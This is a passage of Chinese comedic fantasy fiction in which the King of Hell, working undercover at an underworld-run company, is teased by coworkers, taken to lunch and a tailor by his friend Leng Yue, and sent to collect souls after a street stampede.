白念生见他一副被打击到的表情,就知道今天已经到位了,“行了,这些弯弯道道你慢慢就知道了,现在手机拿出来,加入钉钉。”
“叮叮?”那是什么。
“工作群。以后有消息群里聊,我把你拉进来。”白念生帮阎璟一个一个下载,一个一个加,“其实我们A级业务组的组长叫云为衫,也是我们的直系领导,他的真实身份至今是个迷,但是能力是一流的,就是有点神出鬼没。”
阎璟点头表示理解。
高人嘛!明白!
白念生手上熟练的很,“他带的小组成员就我,如今再加一个你。主要做什么,我先提前告知你,免得你被打的措手不及。”
阎璟虚心受教,“请说。”
“你知道人死后会去哪里吗?”白念生问。
“地府。”
白念生打个响指,“binggo,地府。但是人死后通往地府的路并不好走,所以需要我们帮忙,一条龙服务,引魂,招魂,净魂,送往转生池投胎,完成转化。”
所谓伦晖,就是轮回!
白念生略一思忖,“但是最近几百年,人间发生大事记,很多人都觉醒了,不像以前那么好满足,跟亲人托个梦说个话就行,现在的人呐,死后要求麻烦的很,上次,我遇到一个死魂,好说歹说就是不去投胎,说什么他还没有成为千万富翁。他得体验一把才行。”
阎璟抿嘴不语,他昨日里遇到的那个死了近六十年还在飘着呢。
“有需求,就有市场,所以,上面领导为了完成地府投胎的KPI,弄个用户体验满意度出来。得让用户的业务满意了才心甘情愿去投胎,你明白了吗?”
阎璟怎么可能不明白,他就是因为这个下来的。
“当然啦,这也与人间界这几年来的生育率有关系,很多人都不想生娃了,一些等着排队投胎的优质魂都没办法降生,上次我们组长牛逼,直接出面收购了几家制作成人用品的源头工厂,直接停工。”
阎璟没有感情史,更不清楚男女阴阳之道,自然不明白白念生嘴里是何东西。
白念生看他这模样就没听明白,“就是说,避孕套都不生产了,希望通过意外把那些积压在手里的魂先投人间界一波。就这,都没把生育率搞上来。”
“难为组长了。”阎璟发自内心感叹一声,看来除了地府的投胎率的KPI要提升,人间界的生育率也是场硬仗!
白念生又带着阎璟各个部门溜达了一圈,算是混个熟脸。经过其他组时,遇到之前一起面试的小道士,几人客客气气的点头示意,就算打过招呼了。
“咱们A区8组都是一些有本事的大佬,自然拿乔了些,别在意。你也别把他们放在眼里,这里,实力才是硬道理。”说着他胳膊一抬,展现自己的二头肌的实力。
“明白。”挺好,省得各种人情交际!
白念生原本想带阎璟去体会一下食堂的恐怖,两人勾
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肩搭背一路说说笑笑往食堂去,途中,阎璟手机突然响了起来,接过一看是冷樾打来的。
“哦,好的,好那我一会就到。”挂了电话阎璟只勾勾看着白念生不说话,等对方先开口。
“有约了?”
阎璟不好意思点点头。
“不会是你女朋友吧!”白念生那眼神里透着八卦的味道。
阎璟摇头。心想,不是女的朋友,是男的朋友。
白念生眼珠提溜一转,立刻松手,让他走,“去吧。别忘了下午去办公室找崔经理,他那边有事要交代。”
阎璟乖巧点头,转头离开,一点也没发现身后的白念生一脸坏笑的模样。
阎璟刚离开白念生的视线,就看他掏出手机,熟练拨通一个电话,行为苟苟到自己的工位上,放低声音对着电话那头咯咯的笑,“新人有情况呦!”
那头接通的人是孟小七,同样一脸诡异,在一处监控不到的角落里,降低声音,急死的问,“什么情况?什么情况?快说呀!”
白念生吊足了胃口,也没有说,只是一胃说不入虎穴焉得虎子,约她准备去一瞧究竟。
孟小七挂了电话把高跟鞋一脱,熟练换上平底拖鞋,就往A区跑,生怕晚了些什么。
话说阎璟在这公司上了半天班,除了和白念生交流公司规章制度心得,几乎什么事也没做。
冷樾电话里找他吃饭,阎璟肯定会过去。毕竟这个地方,他最熟悉的就是冷樾。
阎璟到达餐厅时,冷樾已经依着阎璟口味把菜点好摆好。
还特意让服务员上了一壶铁观音!
阎璟见到熟悉的身影,直径上前,坐在冷樾对面,不见疏离和客气,可谓很熟,“你说找我有事?就是吃饭吗?”
冷樾给他倒了杯茶,吹了几口,不太烫后才递到阎璟面前,“先吃饭,边吃边说。”
阎璟也不矫情,熟练拿起筷子准备开吃,冷樾把已经剥好的蟹肉放在勺子上,递到阎璟面前,“尝尝。”
阎璟习惯性张嘴,却发现不远处的座位上一男一女,男的也是同样的动作,用勺子喂女孩子吃饭。
这……就不对了吧!
“我自己来吧!”阎璟在神经大条,也觉得有点不对劲,这动作有点过于亲密。
冷樾余光扫了斜后方一眼,没理会阎璟的拒绝,示意他张嘴,“啊~!”
阎璟搞不懂,自己为什么会条件反射性张嘴,“啊!”
冷樾被他可爱翻了!嘴角的笑意压都压不下去!
阎璟觉得冷樾纯属是在捉弄自己,是自己想太多,索性自己拿过勺子,认真开吃!
孟小七和白念生一路尾随阎璟的脚步,“还真是约会。”
孟小七啧啧两声,“我跟你说,这个阎璟绝对大来头,听说上次面试,去了好几个高层。”
白念生白她一眼,“来头再大,也没你孟婆第108代传人大吧!”
听到白念生揶揄自己,孟小七也好不客气,“那你这个地府来的实习判官来头也不小了。”
“咱们今天晚上好好试探一下这个阎小璟,看看他究竟是不是下面上来的。”白念生开始出馊主意。
“OK!”两个人牙齿一露,双手击掌,露出奸笑。
12. 疑似约会的阎王大人
准备刺探军情的两位做起事来实在不怎么专业,还没进入内圈,就被冷樾发现了。
冷樾余光不经意瞥了一眼,觉得没什么攻击性,便随他们去。
懒得在小喽啰身上浪费精力,便把剩下的目光全放在对面的阎璟身上,而阎璟的眼里心里此刻都在面前一桌子美食上面。
正好他俩人的坐的位置靠窗,窗外的阳光也好,风景也好,绿茵也好,那两个幸灾乐祸找八卦的灾星,此刻在远处怎么看他们都是一副诗情画意的约会圣地。
冷樾被玻璃上的贴花挡住半身,真容看不真切,但是阎璟的身影,看起来轻松写意怡然自得,心情不错。
外面不远处的花圃后面,白念生和孟小七两个人鬼鬼祟祟,低着头不知道又在探讨什么,捂着嘴笑了一会,又过一会,两人才一前一后推门进入。
进门后的白念生第一眼就锁定阎璟所在的位置,暗中和孟小七对视一眼。
无声交流:“你先去。”“一起去。”
默契比手势,“ok”
达成共识的两人,淡定从容,假装从冷樾那桌看似不经意的经过,且装作没有看到阎璟的模样。
阎璟确实没有注意到他们,孟小七比白念生更狗,见引不了阎璟的注意,便把走在他前面的白念生往旁边一推。
白念生身子不受控制,往前踉跄一步,正想起身发作孟小七,抬头恰好看到冷樾微眯着眼神,一脸寒意正在打量他。
那一眼,好生犀利,顿时让白念生背后寒毛直立,心魔顿生。
好可怕!
阎璟听到动静,抬眸一看,见白念生慌乱中扯了孟小七一把,整理衣衫,一见是熟人,一时惊讶,“是你们啊,你们也来吃饭?”
孟小七反应极快,标准的笑容顿时浮在脸上,立刻上前跟阎璟打招呼,“好巧啊!”
阎璟微微点头,淡淡回应,“是挺巧。“
“这位是?”两人的目光开始有意无意打量着冷樾。
阎璟这反应过来,立刻站了起来,向冷樾介绍,“冷樾,这位小美女是给我办入职的同事,”又指指白念生:“这位是现在带着我做业务的前辈。”
冷樾挺给阎璟面子,哪怕被两个没有眼力见的苍蝇打断约会,也微微点头示意。
阎璟又对二人介绍冷樾,“这位是我的好朋友,冷樾。”
“你好,好朋友!”白念生礼貌伸手。
“你好!”梦小七同样礼貌伸手。
只是,他们两位得不到阎璟那样好的待遇,位置上坐着的冷樾只是点头示意,丝毫没有要伸手的意思。
两人也不尴尬,又把手齐齐放了下来。
阎璟双方介绍认识后,就沉默下来,因为找不到话题,所以干站着,不知所措。
倒是一直坐在位置上,从始至终屁股都没挪过窝的冷樾,从37度的都嘴里吐出一句冷冰冰的话,“要不要一起过来吃点?”
虽然是一句看似普通的话,但就是让白念生刚消下去的寒毛,又直立起来,这次跟他一起感到无限冷意的还有孟小七。
孟小七下意识觉得背后发凉,反应极快,连连摆手,“不了不了,你们慢慢吃,我们订了餐,就是过来取个餐。哈哈,哈……”
孟小七尴尬笑了笑,白念生眼疾手快,快速招呼一个服务员,点了几个拿手菜,便到一旁等候,离开冷樾的视线范围之内,两人没过多久就提着袋子离开了。
白念生一出店门就忍不了了,把餐食放在花圃的石台上,捂着胸大喘粗气,“居然是男的!靠!白白浪费我的感情!”
一旁的孟小七反应与他不同,可谓满脸笑意,一脸满足,“居然是男人?天呐!赚到了!”
冷樾透过玻璃窗,目光落在还未离开的两人身上,心有所思。
阎璟倒是心大,压根没当回事,照样吃点心。
“你觉得刚刚那个女孩子漂亮?”冷樾收回视线问道。
正在做扫尾工作的阎璟被他问的一愣,“嗯?”
“漂亮吗?”冷樾再次追问。
阎璟不明所以,挠挠头,放下手中勺子,想了一下,中肯的回答,“还行吧!”
比起地府里那群活爹,可不止是好看一点。
冷樾闭着眼睛深呼吸后,慢慢吐纳,让自己冷静下来。
当事人完全摸不到头脑,也不知道冷樾为什么突然挂脸,是嫌自己吃太多了吗?
那他还吃吗?
下午两点钟,阎璟按照时间约定,准时出现在崔经理的办公室。
崔珏还在沙发上假寐,听到敲门声,从沙发上起来时,肚子上那身肥膘,咣当晃就几下。
阎璟抿嘴不语,低着头想,人间界也不全是好看的。
“来,坐。”崔珏一身领导气派,逼格够高,想给新人一个和颜悦色的好形象,但是可惜,对方是阎璟,眼神压根没看他。
听到他说话,阎璟好不客气坐下一个离他稍远的位置。
崔珏愣了一下,觉得这新人太过拘紧。
叹了口气,“我虽然肚子大,但不吃人,你坐近些。”
阎璟屁股又往前挪了一点,就一点,还是有大大的距离!
得!
崔珏懒得跟他纠结这点距离,直接开门见山,“阎璟,我这个人不喜欢兜圈子,就直说了。你们组长至今未归,一切事物由我暂代。你刚入职,有些东西,我得提前给你打预防针,免得后面你承受不住。”
阎璟点头,跟白念生所说的差不太多。
又听:“过两天,你和白念生去跑一趟天街府,收魂。他主,你辅。”
天街府?阎璟虽然不知道是什么地方,但只能先应下来,“好。”
“还有,你一个月的试用期内,是没有绩效工资的,只有基础工资,人事跟你说过吗?”
“知道。”就是说,他这一个月来的业务绩效都是挂在小组的名义上,没有他的份。
果然周扒皮!
“有异议吗?”崔珏问。
“问一下,是多少吗?”阎璟入职没问工资的事,签合同时,只注意条款,也忘记看薪酬了,或者说他不在意多少,有就行。
崔珏比个OK的手势,“三千!”
阎璟不知道这个算高还是算低,再次点点头。
“没问题。”
此时,阎璟不知道的是,冷樾带他吃的一顿午饭,大约也就这个价格。
阎璟在崔珏办公室里被PUA近半个小时才被放出来,出来后,白念生第一时间冲上前去问,“聊完了?讲什么了?”
阎璟不想说崔珏跟他说那些“好好干吃饱饭”的废话,见他扑闪扑闪的大眼睛,只捡重点实话实说,“崔经理说,要我们跑一趟天街府。”
白念生“哎”一声,手掌往额头上一拍,“我就知道是这事。”
“天街府发生了何事?”这引起了阎璟的好奇。
白念生从自己的工位上拿起自己的小平板,熟练的搜索
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,结果出来后递到阎璟面前,“自己看吧,上周的事,天街府五号巷发生了踩踏事件,死了不少人。过两天头七,需要去收魂。这可是个苦逼的活。吃力不讨好!”
“为何人流量这么大?是什么重大节日吗?”
“情人节啊!你不知道吗?”
阎璟一副“原来如此!”的表情。
上周?他刚下来人间界,看着日期,是刚好,他掉到冷樾怀里那天。
噗!不想了,不能想。想死!
阎璟大致了解始末心里有数后,便回到自己的工位上,开始研究电脑里的各种数据和软件。
打开一个,看不懂,关上。再打开一个!依然看不懂!
想问问白念生,可看他那一副也不会的吊儿郎当样,觉得自己可能先入为主了,不能这么把人看的这么废物,于是,阎璟试了几次终于鼓起勇气,抬头,刚想说话,白念生似乎知道他要问什么,直接伸手打断,“别问,不会。”
阎璟:“……”
无语的阎璟无奈地拿着鼠标,就这么一直点点点,外人看起来可能工作忙的不行,实则一点事也没做出来。
没办法,公司的内网都是有权限,有些他是真的点开后一片空白,有的点进去查看,页面黑白灰,各种限制,他的级别没有权限。
直到点到一个上面几个大字入眼,六道轮回系统。
这个名字很熟悉啊,阎璟想起在冥界时,手下那群活爹曾经给他过一串神秘的数字,就是登录这个。
只不过,地府里办公用的软件跟这个人间界相比似乎优化很多,新版和旧版的区别吧!
毕竟,他只在秦广王的帮助下登录过一次,然后就保存密码放那里,每次都是直接进去,再也没有输入密码过,再然后,时代变幻,斗转星移。
他才意识到,密码他已经完全不记得了!
想死!阎璟按按有点头疼的太阳穴,真是造孽!
白念生比他还不如,嘴里没停过,脚下也没闲过,偶尔去和其他组的小妹妹聊聊天,再回来和阎璟分享他听到的八卦。
阎璟本来就有点头疼,现在听这些鸡毛蒜皮的小事,头更疼!
上班的第一天,阎璟在白念生的八卦天赋之下,什么也没有学到,只有无奈和无力跟无助。
不过白念生有一个说的非常对,那就是:六点下班,过期不候。
阎璟才真正见识到什么是过期不候!
就在下班的倒计时后的零点一秒,除了他们A8组,其他的人几乎是各种能力超跑。
如同一阵风,谁来看都无踪。
阎璟彻底惊呆,他们的各种神通原来都是用在这种地方?
冷静一下后他也准备离开。谁知刚从工位上站起来转身,崔经理就从里面办公室走出来,头也不抬,熟练的说出那句似乎说过很多遍的话,“你们先别走,留下……”
话没说完,崔珏抬头便顿住,向上翻了个白眼。
因为整个办公室空空如也,只有阎璟一个人,站在原地不知所措。
原本还跟他站在一起的白念生也不见了,恍一低头,看到白念生已经钻到自己工位下面去躲。
阎璟又是一阵无语。
崔珏思衬一会,“算了,毕竟第一天,阎璟你也下班吧!明天别迟到。”
本来白念生是想直接遁走的,但是看新人吃瘪的模样实在太好玩了,于是往下一躲,蜷缩在桌底,捂嘴憋笑。
阎璟:“……”
13. 被怀疑的阎王大人
阎璟实在是佩服这群到点就消失无影无踪的能人,生怕自己的看家本事使不出来。
白念生慢悠悠从桌底钻出来,拍拍身上并不存在的灰尘,拉回椅子一屁股又坐上去,从零食库中掏出一袋熟练打开,仿佛刚刚什么都没有发生过。
阎璟假装看不到他嘴角的憋笑,心里轻叹口气,跟他挥挥手准备离开。
白念生随意从袋中抓出一把瓜子,把垃圾桶往自个脚前一放,很不走心的挥手,“拜拜,路上小心。”
阎璟没有从他的眼睛里没有看出来多少担忧,有的只是戏谑和好奇。
这人还在笑话他刚刚手足无措的糗样。
对此,阎璟无奈摇摇头,双手插兜轻步往前走。
直到阎璟的背影消失在白念生的视线里,他才乐呵地把手机掏出来,熟练拨通电话,“喂喂喂,准备准备,目标即将离开大楼,施行A计划。”
电流滋滋啦啦一阵鬼话,也不等电话那头说完,白念生果断挂断电话,瓜子往袋子一甩,拍拍手,一个转身消失不见。
伴随白念生的消失的同时,这办公区域的灯也瞬间熄灭。
伦晖科技集团消控中心的工作人员见此状,瞬间睁大双眼,随后叹出口气,“又来了。”
听着语气,已经见怪不怪了。
整个办公区域一个人影也没有,只有几处工位上奇怪的带着封印的盒子中,泛着幽暗的绿光。
阎璟今天主要任务就是熟悉办公场地,经过这两天,也大致把楼层的主要结构和每个细分区域都了解清楚。
伦晖科技大楼一共39层,上层18,下层同样18层,且B1至B2层是停车场,从B3层开始直到B18,便每层都有结界分割,普通人压根看不出来。哪怕内部员工,没有权限也无法进入,除非像阎璟这样,自用神力破开结界。
此外,阎璟还注意到,公司大厅的风水转罗盘的布局也是随机更换。
倒也是谨慎的很。
他还没有出公司大门,原本安静的楼道,传来微微声音,让阎璟下意识注意。
那口音自带四川方言,阎璟蹙眉,于是好奇心驱使下回头寻找声源。
刚走没两步,就看到在不远处的楼道口,开闭一扇门,两道影子浮浮显现的映在墙壁上,两个保安在激烈的吵骂。
太熟悉了,你吵架不稀奇,稀奇的是对方两个人居然用鬼语吵!
“你不是人,说好你帮我值两天夜班,怎么回事?”
“还两天?你喝多了吧!今天已经第三天了!”
“你放屁!”
“你才放屁!”
“……”
临近才发现,那着装分明就是那天在公司外跟冷樾攀谈的保安大哥!
表面是保安,背后墙上的映出的影子是牛头和马面?
好家伙,这公司还真是处处是惊喜!
阎璟生出一些不愉快来,身下的手不自觉攥紧又紧,他来人间界人是为了体察民情,可地府里这些个鬼差,不在下面好好干活,跑人间界来在人间门口做保安?
真是闲的!
还有,太跌份了!
阎璟刚想过去给他们点训诫,忽又想起这地方是在公司,头顶都是监控,只是静静看了一会,转身便当做无事人离开。
见阎璟离开,两个保安吓得背后都汗都湿透,偷摸瞧着阎璟的背影,心有余悸。
正所谓螳螂捕蝉黄雀在后。
黄雀在后的孟小七和白念生从旁边阴影处闪现出来,保安赶紧大步上前,不停拍拍胸脯,“吓死我了吓死我了。”
另一个问:“怎么样?”
白念生啧啧两声,又摸摸下巴,“看他那样子,似乎能听懂咱们说话,可是又不太像。”
保安只想知道这人是不是下面派过来逮他们的,不停追问,“是下面来的吗?”
孟小七学着白念生的东西,同样摸摸下巴,同样若有所思,同样重复话,“嗯,不太像。”
“不是就行。”保安终于松了口气,“我们回地府了,还有夜班呢!”
“他们干嘛这么怕!”
白念生啧两声,道:“害!我们老大被天道惩罚下界来了,他们怕撞上,会死的很惨。”
“阎王大人来人间界了?”
“嗯哼!”白念生一开始怀疑阎璟,可是今天这场表演试探下来,感觉不太像,“这个阎璟太唯唯诺诺了,一看就是新新人类,可一点也不像我们老大,我们老大威武的很。那法相,威严,霸气!”
“有照片吗?想看。”孟小七两眼放光。
白念生白他一眼,“没有,事实上,没有几个高层见过咱们老大的模样。我估计,如果老大没有在我们这里,就应该在其他分部公司里。”
孟小七点点头,非常同意,“那我明天联系其他场子的姐妹,问问看。”
“辛苦了。”
“甭客气。”
白念生跟孟小七挥手道别,“我也回去上夜班了,对了,既然他不是,明天让他忘了吧!别无辜生出事端来。”
孟小七拍胸脯保证,“放心,我专门给他调制菊花枸杞茶,绝对到位!”
阎璟刚出公司大门,冷樾的电话就打过来,电话那头的人正在马路对面的商场里,让阎璟按照路线过去跟他接头。
即是是工作日,商场也并不冷清,总有人流在明亮的灯光下穿梭。
阎璟刚踏入商场,鼓起勇气问了陌生的客服人员,找到冷樾所在商铺的位置,正低头走着,人还没进去,在门口又遇到上次在咖啡店的中年男人。
那男人估计也没想到,还能再遇到阎璟,眼睛瞬间放光。
“是你?”
阎璟差点没认出来,那中年男人梳个大背头,一身西装革履看上去人模人样,旁边搂着一个大波浪烈焰红唇的美女。
阎璟不想跟他纠缠,抬脚正欲绕开。
男人搂着美女双肩的手一松,上去把人一拦,把手机掏了出来,“我说,上次没交成朋友,这次可以吧!你来干嘛?要买衣服?我送你。这地方我熟的很!”
男人自顾自说着话,慢慢逼近,阎璟退后一步,心生不悦,连忙摆手,“不用了,我朋友再等我呢。”
中年男人哪怕穿着西装,但就是隐藏不了那身流氓味,“交个朋友而已,你不亏。”
见阎璟不给他面子,似乎在女士面前丢了脸,于是上前一步,在阎璟耳边威胁说道:“你如果拒绝,信不信,我有的是办法弄死你。”
阎璟愣了一下。
这人?来头很大?
见威胁有效,那人又开始得意忘形,“正所谓阎王让你三更死,你绝对活不到五更。我就是你的阎王!遇到我,算你不走运。”
阎璟再次愣住,指了指自己,反问他,“你是阎王?那我是谁?”
……
冷樾坐在这家高端私人订制西装商铺的休息区内等阎璟过来,有意无意间也有锻炼阎璟社恐的意思。
可左等右等,阎璟的消息说已经到了却迟迟不现身,想着对方可能会迷路,却没想到这么久,越想越不放心。
可刚出大门,就看到不远处的阎璟被人纠缠的身影。
一看那人!
冷樾眼神又冷了下来。
再一再二!
“你是我的宝贝,你如果听话,那你就是我的小宝贝,想要什么我都可以满足你。”年男人油腻的话还没落,手上也开始不老实起来,直接打算把阎璟搂过去。
只是,那脏手还没触碰到阎璟的肩膀就被冷樾反扭在背后。
“哎疼疼疼……是哪个不长眼的。”
冷樾把人胳膊一卸,往后一推,推到在地。
“滚!”
阎璟第一次见冷樾发火,脸黑成一团。
那人一见来是冷樾,瞬间没有刚刚的气焰,在同行女士的搀扶下爬起来,骂骂咧咧的走了。
”真他妈晦气,你给我等着。”
冷樾冷冷看他一眼,转身上下打量着阎璟,眼底的担心快溢出来,“没事吧
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。”
阎璟只是摇头。
“这个人三番两次想跟我做朋友,但是,方式确实,我很不喜欢。”
冷樾无语极了,“他才不是想跟你做朋友。”
阎璟不解!
冷樾没办法跟他解释,那男人明显是见色起意,想占你便宜!
阎王大人修行万年,感情依然一窍不通!
“算了,走吧!”
这只是个小插曲,并没有影响两人的心情,至少没有影响阎璟的心情,至于冷樾嘛,阎璟终于体会到眼底全是寒冰是什么样的了。
冷樾带他来的这家商铺门头并不张扬,店内灯光柔和如黄昏,墙面上挂着从世界各地珍稀面料样本,里面的工作台上一尘不染,别针,划粉,量尺整齐划一。旁边一个老师傅拿着软尺在一位客人肩线,臂弯,腰身丈量着尺寸。
阎璟的身材比例,身高,三围,冷樾了如指掌,在阎璟还未下人间界之时,早已让人做了很多款式,卧室里的衣橱的新衣服,都是他提前准备好的。他转身对一旁的服务员说道:“人到了,去准备一下。”
服务员微微一笑,双手放在腹部,动作特别标准,“好的先生。”
阎璟好奇,“你要买新衣服?”
冷樾摇摇头,终于有点笑意,“是给你买的?”
“我?”
“对,你房间里的西装款式还是有些小,所以穿身上不舒服,我想着,你今天不想穿也是因为这个原因吧!”
阎璟有点不好意思,按理说,他不应该挑剔,“其实,没关系。我也能穿。”
不算不舒服,就是太贴身,身上的曲线一览无余。
冷樾把他往镜柜前一推,“重新做了几身!我挑好的面料,你看看喜不喜欢,试试就行。”
“很贵吧!”
“不贵。”
“但我没钱买?”
冷樾刚想说你上次给的古刀币很值钱,阎璟就打断了他,“这段期间吃你的用你的,还得让你买衣服给我,我有点过意不去。”
阎璟最不喜欢麻烦别人,也不喜欢有欠人家的感觉。他喜欢银货两讫。
“这样吧,我把工资都给你。不够,我下个月赚了再给你。”
冷樾知道,阎璟一旦做了决定,任何人都更改不了,也不跟他争辩,“好。”
阎璟说到做到,回去就把工资卡拿给冷樾,冷樾接过的那瞬间,嘴角的笑意差点没压下去。
心想这算不算家里不会管钱的老婆上交财政大权的意思?
第二天一早,两人吃完早饭,冷樾亲手将阎璟胸前的领带结打好,将人送到公司门口。
阎璟这一身高定走过来,不知道还以为来走T台秀的,引来好几个人侧目,但也只是多看了两眼而已,很快就被其他吸引走了。
瞧着眼前公司门口排着长队,凡是不管业务员还是技术员,每人手里拿着一个精致的礼盒。
孟小七看到阎璟的身影,直接在人群中招手让他过去,阎璟指指旁边的同事手里抱着的礼盒,“这是?”
“公司的人文关怀,你很走运!”说罢,孟小七从旁边拿出一份礼盒,还有一杯菊花茶。
“我的新品,赏个脸?”
阎璟眼珠往旁边一转,看着远处帮忙管理秩序的两个保安。又看看孟小七那张看起来有点脸熟的脸,闻着有点孟婆汤味的菊花茶,心里直觉的好笑。
这是怕他暴露保安是从地下来的鬼差,特意给他警告来了,可能还嫌警告不够,所以,特意送来孟婆汤,让他彻底忘记才行。
不怪孟婆汤被投诉这么多次。
孟婆汤若真那么有效果,至于被用户投诉这么多次吗?何况这个还是被稀释过的假冒伪劣产品。
“快喝啊!”
阎璟被架在墙上,不喝不行,只能在她的注视下喝了一口。
远处的白念生见阎璟咽下去,才不动声色和孟小七交流下眼神。
这些东西压根对阎璟起不到任何作用。但是,但难喝是一定的!
14. 被传绯闻的阎王大人
白念生走过来毫无征兆一把扑在阎璟后背,使得没有心理准备的阎璟脚下踉跄,差点栽到在前面孟小七身上,还好身体及时止损,没有造成史诗级灾难。
礼盒发放完毕,阎璟手里也提了一盒。众人皆回到自己到岗位,白念生拉着阎璟走到一边,偷偷摸摸问他,“阎小璟,你觉得孟婆的汤好喝吗?”
“孟婆?”
“就是孟小七,就冲他那泡茶的手艺,你就说担不担得起。”
阎璟抿唇不语,确实两者有异曲同工之妙。
一样难喝!
白念生把人往身上一揽,搂着肩就往办公室走去。“虽然难喝,那人怎么样?”
人?
阎璟没懂他的意思,白念生意味深长看着他笑的很是耐人寻味。
回到工位上的两人,拆开礼盒,白念生当场切了一声,随手丢在一边,“又是老三样。”
阎璟对此也没有多大兴趣,一样搁置在一旁。
白念生随手从自己前面的办公桌上翻出一本书册,扔了过去。“好学生,乖乖工作吧!”
阎璟伸手接住,低头一看,是【灵魂服务优化业务】手册,随手翻了几页,“这个是,结合系统OA使用的吧。”
白念生点点头,“上道,这是我们业务系统,当然你的权限是最低的,职能,报账,优化,业务,还有考勤。你知道这里面最重要的是哪个知道吗?”
“……是优化?”比较是灵魂服务优化业务。
白念生一副恨铁不成钢的翻了个白眼,“是考勤,考勤!”
“……”猜错了?
“公司有规定,有事请假要走OA提前一天申请,关乎你的工资啊宝!”白念生拼命想摇醒这个眼神里透着愚蠢的大学生。
阎璟一把握住白念生拼命手舞足蹈按着自己肩膀不停晃悠的手,“我……我记住了。”
“我在很认真的教你生—存—之道。”白念生咬牙切齿。
阎璟拼命点头,“嗯嗯!”
旁边几个工位上的老油条,看到两的人互动忍不住笑出了声,“白爷,阎小璟刚出社会,你就这么教坏人家?”
“你懂个屁!你好好带新人了,把人带的一到下班时间,溜得比兔子还快。”
“凭的就是那个实力,你家阎小璟难道很喜欢加班??”
阎璟刚想说他无所谓,一旁白念生不乐意了,袖子一撸,“嘿!阎小璟给他露一手,你的看家本领。”
阎璟放低了声音,小心翼翼询问他:“我的看家本领是什么?”
“……”白念生白了他一眼,无语。
一旁几人哈哈大笑起来,越瞧阎璟越有趣,“我还想着,后面有任务就带着阎小璟一起去历练,这可倒好,去了估计也只会站在旁边给我们高喊666。”
白念生语气不善,“你说带就带,不给带,不借!”
旁边另一道士从工位上露头,慎重给出建议,“可以带,毕竟一路上看着也挺赏心悦目的,能鼓舞士气。”
“哈哈……无比赞同。”
几人你一言我一语,说话贼快,阎璟认真消化他们的意思,最后得出个结论,他们一个个都把自己当弱鸡,且无能的弱鸡。
无语凝噎。
“啪啪啪……”几声巴掌清脆的响声,众人转身抬眼看去,孟小七和另外几位人事的姐妹乐呵得站在门口,“奶茶时间到,谁要点?先报名。”
说完,几位美女开始给各位分发今天的奶茶菜单,人手一份!
“这次可以凑单呦!”孟小七对大家wink一下,调皮的很。
这边话语刚落,那边已经有人开始报名,“要要要!我要一杯港式的奶茶”
接二连三,“冰博客厚乳黑糖波霸奶茶。”
“印度玛莎拉奶茶”
“丝袜奶茶……”
“……”
白念生也随口叫了一个,孟小七自己确定了一杯花茶。
几乎每个人都确定过了,只有阎璟盯着菜单如临大敌,美女同事见他迟迟不回应,以为新人有点不好意思,特意走上前去问他们,“阎小璟,你要喝什么?”
阎璟哪里知道要喝什么,地府里只有汤,瞅了又瞅,看了又看,都要把纸盯出个洞出来,也没从那一堆里看出什么名堂,想着孟小七说的最简单的花茶应该还能入口,脑子一热,最后也只憋出一句,“……跟孟婆一样。”
说完,阎璟自己先是震惊的捂住了嘴,怎么就说秃噜嘴了呢?
第一个反应过来的白念生笑到肚子疼,“哈哈哈……阎小璟,哈哈哈哈哈……”
旁边接二连三的笑声也喷了出来,“孟小七,看到没,你的手艺丝毫不比孟婆差,甚至青出于蓝而胜于蓝。”
“哈哈哎呦笑死我了。”
阎璟整个脚趾扣地,小脸红透,恨不得找个地缝钻进去。
孟小七脸上露出尬笑。
见阎璟趴在工位上,把头埋在文件里不肯露脸,也不由的笑出了声。
阎璟本意不想出糗,却老是出糗。
社恐又要犯了,整个人快晕掉。
最重要的,这次糗大了!
何止,次日,全公司的钉钉群里,都在流传新来的实习生暗恋前台孟小七。
阎璟看着群里疯狂艾特他确认[是不是真的?]的消息,都傻眼了!
愣在原地整个一副活人微死的状态。
白念生笑嘻嘻把他手机从手里抽出来,往桌上一盖,“行了,别看了,知道咱们家孟婆漂亮,但是咱们得干活了。”
此时,阎璟才体会到了流言蜚语的可怕。
“我不是,我没有,别瞎说。”
白念生起丝毫不在意的摆摆手,“哎呀,你刚来,热度还没过,过个几天,他们就不会闹你了。”
“真的吗?”阎璟把白念生的话当真。
白念生狂点头,心想,就这模样,他都忍不住想逗上一逗,更别怪那群大黄丫头们。
白念生带着阎璟到人事部门填了一份外出申请单,两人快步离开公司。
天街府,连接主城干道,中间相连一道商业街,路程不远,但却是单行线。
行人穿梭如织,笑语喧哗。商业体大楼的LED大屏上不断变幻广告的画面。
没一会,两人出现在街头,阎璟白衬衫的袖口卷到臂弯,脖领上两个纽扣随意散开,白念生倒是不嫌热,一身西装革履,嘴里含着跟狗尾巴草,随着狗尾巴草一上一下,丝毫不影响说话,“名单上死亡六人,濒临死亡三人。咱们今天先录这六个死魂。”
阎璟点点头,拿出公司给他配备的平板,熟练打开,点击中间的图标,形成一个泛着绿光的八卦图案,指针随着位置移动。
白念生单手化出判官笔,在虚空中轻点,原本繁华川流不息人潮的天街府,瞬间被结界隔开,街道清明,空无一人,只有白念生和阎璟,还有就是地上歪七扭八的几个死魂。
阎璟没注意脚下,差点还踩到一个,吓得那死魂吱哇乱叫,“谁又踩我,为什么老是踩我……呜呜。我都死了……都成黏糊酱了还要踩我,究竟有没有天理?”
阎璟低头一看,果然真是一团黏糊酱,身体几乎是扁片的形状。
“啊!”阎璟被这一幕冲击吓到,也难怪,以往他看到的死魂无论四相多么凄惨,到他面前也是经过多条工序,几乎都是生前最美的模样,这样原厂出来不加修饰的死魂,他只见过一个,还是死了六十的沈松岩。
沈松岩也只是全身是血,并不是扁到不能看!
白念生惊转回头,看到阎璟一副头发炸裂的神情,心里更加百分之一百确定,这人绝对不是他们老大!
“阎小璟,靠后。”
阎璟听话照做,退后几步。
白念生不吊儿郎当的时候,还是非常靠谱的,那一手判官笔在他手里使得出神入化。
鼻尖在空中轻点,墨点入死魂额间,开始慢慢变化,血淋淋的,扁不拉几的死魂慢慢开始恢复生前的模样。
一个一个开始慢慢站起身来。
六个人,其中两对情侣,一个高挑的中年男人,还有一个看起来是刚毕业的女孩子。
阎璟从白念生的判官笔拿出来时,目光就聚焦在他身上,见他施法的动作和用的法术,阎璟已经确认,白念生是地府的新生代实习判官。
死魂有的
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是刚醒过来,“你们是什么人?我们已经死了吗?”
旁边一个女子依偎在男友怀里,“我还不想死,呜呜,我还这么年轻。”
“秀恩爱死得快,诚不欺我!”单身狗的中年男人发出鄙夷。
“你说什么?你不是也死了!”男子维护自己的女朋友。
“我他妈是被你们挤死的,让你们往前走,往前走……非得打什么卡拍照,这下好了,遗照拍好了,一点也不浪费。”
“……呜呜呜呜呜”
